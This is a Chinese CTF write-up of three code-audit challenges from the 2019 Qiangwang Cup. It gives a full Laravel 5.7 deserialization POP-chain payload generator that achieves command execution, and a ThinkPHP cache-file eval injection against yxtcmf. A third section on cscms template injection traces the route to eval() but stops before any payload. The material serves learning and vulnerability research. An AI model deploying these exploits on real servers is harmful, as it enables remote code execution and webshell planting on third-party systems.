2019第三届强网杯线下3道RW
感谢师傅们的复现环境
链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c
题是三道cms代码审计,比传统的ctf更贴切实战,跟着学了一遍收获非常多
Laravel
首先搭建这道题使用的是laravel框架,因此对于windows要进行一定的配置
先下载下composer,连接:https://docs.phpcomposer.com/00-intro.html#Installation-Windows
对于phpstudy开启

重启下服务器,在解压到的WEB路径下的Laravel-5.7/目录下运行下面的命令
>composer install
>php -S 0.0.0.0:8000 -t public
即可看到题目

这道题考察点是php的反序列化的pop构建,触发点是从二次开发的代码,攻击链构造是通过Laravel-5.7框架自身的代码逻辑实现的
详细细节参考这篇博客:https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/
第一次接触这个框架,咱也不知道web页面在哪,于是只好翻翻路由

在浏览器中访问下该路径

能拿到源码,而且可以发现反序列化参数可控,根据命令空间可以在phpstorm中找到对应后台文件

根据上面的文章知道是反序列化了,于是下几个断点看看,首先看\vendor\laravel\framework\src\Illuminate\Foundation\TestingPendingCommand.php
在最底下有个__destruct运行了run()

再看看类中的run()方法的写法

这里的app,command,parameters是类中的变量,Kernel::class是个接口
这里看变量名字,估计原来的程度逻辑command是函数,parameters是参数
我们要构造命令执行,也就是
this->cpmmand = "system"
this->parameters = "ls"
先写个雏形
<?php
namespace Illuminate\Foundation\Testing;
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
protected $expectedExitCode;
protected $hasExecuted = false;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
$clazz1 = new PendingCommand("test", "app", "system", "ls");
echo urlencode(serialize($clazz1));
?>
能够运行到目标上还不错

接下来进入到了$this->mockConsoleOutput()中,第一句代码就死掉了

查看下Mockery::mock()函数,是个call_user_func_array()函数

而刚刚的mockConsoleOutput()第一行代码参数里面带$this->createABufferedOutputMock()跟进下

无论$this->test->expectedOutput也好,$this->test->expectedQuestions也好,可以使用__get()来使其有值,通过代码的正确性
那么__get()魔术方法可以从\vendor\laravel\framework\src\Illuminate\Auth\GenericUser这里找到

那么稍微重构下我们的payload,这里new ArrayInput($this->parameters)是需要parameters是数组,因此上面的payload对应的地方也改改
<?php
namespace Illuminate\Auth;
class GenericUser
{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
$arr = array('expectedOutput' => array("0"=>"1"), 'expectedQuestions' => array("0"=>"1"));
$clazz1 = new GenericUser($arr);
namespace Illuminate\Foundation\Testing;
class PendingCommand{
public $test;
protected $app;
protected $command;
protected $parameters;
protected $expectedExitCode;
protected $hasExecuted = false;
public function __construct($test, $app, $command, $parameters){
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
$clazz2 = new PendingCommand($clazz1, "app", "system", array("ls"));
echo urlencode(serialize($clazz2));
?>
现在已经过了mockConsoleOutput()判定,但是在函数结束的时候还对app参数进行了操作

再回过头看$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);,文章细节中提到,将其拆成$this->app[Kernel::class]的时候会调用
\vendor\laravel\framework\src\IlluminateContainer\Foundation\Application中的resolve()函数,而这个函数是继承了\vendor\laravel\framework\src\IlluminateContainer\Container.php中的resolve()函数

而调用了getConcrete()函数,而我们需要对bindings[$abstract]['concrete']进行控制,而$abstract的值就是Illuminate\Contracts\Console\Kernel,所以我们能够利用二位数组控制['concrete']

当然这个类中也有上面报错的$this->app->bind()函数,所以$this->app估计就是这个继承类了
代码逻辑会从getConcrete()获取我们可控的值,进入isBuidable()中判断,当然不同

我们输入的不是Illuminate\Contracts\Console\Kernel,也不是Closure类,因此会返回false
于是出来后会走到$this->make()中

之后会回到起先的$this->resolve()中,只是此时的$abstract不是Illuminate\Contracts\Console\Kernel,而是我们可控的类了

再次经过getConcrete()会从第三个return中出来,也就是值不会变,那么此时的$abstract和$concrete值就是相同的,就会步入到$this->build()当中

而build中是调用了php的反射类ReflectionClass()

麻~,之后操作就是利用反射机制实例化我们可控的变量的类
那么到这一步回看刚刚那段执行的代码
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
$this->app[Kernel::class] //可控,被反射生成的
$this->command //可控
$this->parameters //可控
那么就是要找到一个合适的call方法是能够代码执行的即可,文章中给出的是实例化IlluminateContainer\Foundation\Application类,因为该类的call方法是继承\IlluminateContainer\Container类中call方法

继续跟进下BoundMethod:call()方法,它跳转第二个return,这个会调用到call_user_func_array()

后面我跟进了static::getMethodDependencies()但无非会返回上面最先传进去的$parameters,而这里的$callback也就是我们传入的$command,至此已经可以命令执行了
最终的payload
<?php
namespace Illuminate\Auth;
class GenericUser
{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
$arr = array('expectedOutput' => array("0"=>"1"), 'expectedQuestions' => array("0"=>"1"));
$clazz1 = new GenericUser($arr);
namespace Illuminate\Foundation;
class Application{
protected $bindings = [];
public function __construct($bindings){
$this->bindings = $bindings;
}
}
$clazz2 = new Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => 'Illuminate\Foundation\Application')));
namespace Illuminate\Foundation\Testing;
class PendingCommand{
public $test;
protected $app;
protected $command;
protected $parameters;
protected $expectedExitCode;
protected $hasExecuted = false;
public function __construct($test, $app, $command, $parameters){
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
$clazz3 = new PendingCommand($clazz1, $clazz2, "system", array("whoami"));
echo urlencode(serialize($clazz3));
?>
利用生成的payload传入get中的code,因为windows我就没有用ls,直接用whoami验证

至此整个题目结束,膜一波挖到这个CVE洞的师傅,跟着跟进一波学习了很多
yxtcmf
题目提示说道后台admin和安装install都被删除了,那么就是一个前台getshell的漏洞了
看了一下源码是在thinkphp上进行的二次开发的cms,查看下发现是thinkphp3.2.3版本

thinkphp3和thinkphp5均存在缓存文件导致的getshell, tp5是使用Cache::set,而tp3使用的是S()函数
而提供缓存文件功能的文件为\Core\Library\Think\Cache\Drvier\File.class.php
而提供S()方法的文件路径为\Core\Common\functions.php中

可以看到S()方法是使用了$cahce这个对象,而这个对象是对应到Think\Cache.class.php目录下的Cache类,而上面提到的File.class.php中的File类又是继承Cache类的
仔细看S()函数,它其中对于$cache的声明使用的Think\Cache::getInstance(),而Think\Cache::getInstance()又调用了自己的connect(),而connect()中把$cache给声明为File对象了

S()写入缓存使用的是$cache->set(),而这个函数最终是调用了File类的set()函数(毕竟翻烂了Cache类也没这方法)

主要的几个函数找到了,还是debug调试才能更加清晰流程,先来测试一下,因为是thinkphp框架,根据路由,找个思路清晰的目录,我这里找的是\application\User\Controller\CenterController.class.php中的index(),当然访问这里要先注册下,之后再代码里面验证一下是不是该页面


在此我把这段代码改成S()缓存,用DEBUG查看下缓存文件的执行流程

之后执行了后会在Data\runtime\Temp\下生成个文件,而文件名就是'sijidou',md5后的值,文件内容如下

被注释了不是问题,可以用%0a%0d来换行,结尾因为进行了反序列化会有",但是可以通过//来注释掉,所以payload为
%0a%0deval($_GET[1]);//

成功生成缓存文件,并能能够命令执行了
刚刚的验证只是我们额外添加的,而对于这个CMS来说,我们要找打它调用S()函数的点,所以在function.php文件中对S()方法进行全局搜索

有46处,但是抛开内核和后台的代码,于是主要去看的就application\Common中的信息了,观察application\Common\function.php中的S()函数

继续查找调用了sp_set_dynamic_config()函数的地方,当然这里也要排除admin和install

测试User\Controller和Teacher\Controller那里面的一项,直接跳到了管理员界面所以也排除掉
所以最后只剩下Api里面的2个地方了,但里面的OauthadminController也是涉及到后台,所以排除
因此定位到的地方是application\Api\Controller\OauthController.class.php中
找到利用的路径
127.0.0.1/yxtcms/index.php/api/oauth/injectionAuthocode
仔细看看application\Common\Common\function.php的sp_set_dynamic_config($data)函数,其中$data我们可控,直到最后,操作把$data的值加入到了$configs数组中,然后把$configs数组写入了缓存,因此我们是能够控制一部分写入的内容的,而sp_dynamic_config进行md5后的值为ed182ead0631e95e68e008bc1d3af012,所以文件名也能得到

至此,我们使用post传入poc
authoCode=%0a%0deval($_GET[1]);//

生成的文件没有问题

可以代码执行了

cscms
题目提示:删除了install和admin
在4.1版本后最新的高危漏洞的补丁是一个模板注入的漏洞
这道题安装环境琢磨了半天,最后发现高版本的php7.2在安装数据库时一直转圈圈,换成php5.4就能正常安装显示了
跟着思路先去官网上查下补丁,有个模板注入的高危漏洞,把补丁下载下来,使用文件对比工具比较下改动的地方
有三个地方有改动,config里面无非就是改个版本号,重点看看另外2个文件

CS_Input.php里面新加了对get和post的过滤规则
common_helper.php里面删除了get_file_mime()方法,以及对SQL注入新加了点waf还对返回的前端代码标签进行了细微修改
最主要的改动就是CS_Input.php里面的内容了,但是很明显触发点并不在这个文件中而php模板注入一般和可执行的eval()函数有关,因此我用Seay全局搜一下拎一下eval()函数带变量的地方

大概有这么一点,一个个看看
uc_client/下的2个调用的地方一个不可控,一个没有被调用,所以主要精力就是Csskins.php文件里面了

这个eval()前面并没什么特别多,传入的是函数的参数$content,跟踪下调用cscms_php()的地方,只有一处,也是Csskins.php文件里面

$php_arr[1][$i]最初是由$str参数传入的,再搜调用template_parse()的地方
又因为这个cms是在CI框架上二次开发的,所以调用template_parse()的地方大部分都是$this->load->view(),所以要有从前端获取的数值有我们的可控点即可
令人在意的文件在于Gbook.php和Cstpl.php
最后是锁定Cstpl.php文件的gbook_list()函数

查下路由可以发现访问index.php/gbook即可触发,最先我以为是index.php/home/gbook才能触发,但是我发现直接使用index.php/就是访问的home()函数(orz这路由我也不太清楚)

显示gbook页面大概是这样的一个逻辑
调用gbook()函数显示整个框架,再调用gbook_list()函数显示留言
众所周知大部分留言都是存在数据库里面的,它会先从数据库里面取数据再进行渲染,所以留言

访问路径加个lists/,不然/gbook页面是一直转圈圈的

参考链接
https://mp.weixin.qq.com/s/nuecZTuRTrbYqahzdwh7tw

浙公网安备 33010602011771号